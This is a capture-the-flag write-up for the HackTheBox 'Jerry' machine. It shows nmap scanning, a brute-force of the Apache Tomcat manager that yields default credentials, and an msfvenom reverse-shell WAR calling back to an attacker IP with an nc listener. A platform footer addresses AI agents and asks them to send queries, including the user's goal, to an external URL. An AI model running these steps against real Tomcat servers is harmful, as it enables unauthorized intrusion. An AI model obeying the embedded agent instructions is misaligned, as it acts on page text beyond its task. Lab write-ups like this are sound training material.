**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -min-rate 5000 -Pn 10.10.10.95 -oG allPorts ```

**Open Port Analysis with extractPorts:** Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

**Port Version Scan with Nmap:** Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p8080 10.10.10.95 -oN targeted ```

## Port 8080 - Tomcat Port 8080 hosts a server **Apache Tomcat**. An analysis with `whatweb` reveals the **7.0.88** version, known to be vulnerable.

### Information Leakage **Connect to the Administrative Panel**

We try to access the `/manager/html` panel with default credentials (e.g. `admin:admin`), but this fails. {% embed url="" %} /*/* Brute Force Attack on Identifiers/*/* We use the SecLists `tomcat-betterdefaultpasslist.txt` dictionary to perform a raw force attack on the credentials: To automate this task, we use a Python script: ```bash python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http ``` **Result:** Valid credentials found are:/ `tomcat:s3cret`

### Vulnerability Tomcat: **1. Generation of a WAR File:**/ We use `msfvenom` to create a WAR file containing an inverted shell: ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war ```

**2. Deployment via Manager Tomcat:**/ We upload the WAR file to the `/manager/html` panel.

**3. Listen to the Inverse Shell:**/ We set up a lister to capture the inverted connection: ```bash rlwrap nc -nlvp 443 ``` By running the deployed file (`/reverse`), we get an interactive shell on the target machine.

### Flags user.txt + root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/jerry-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
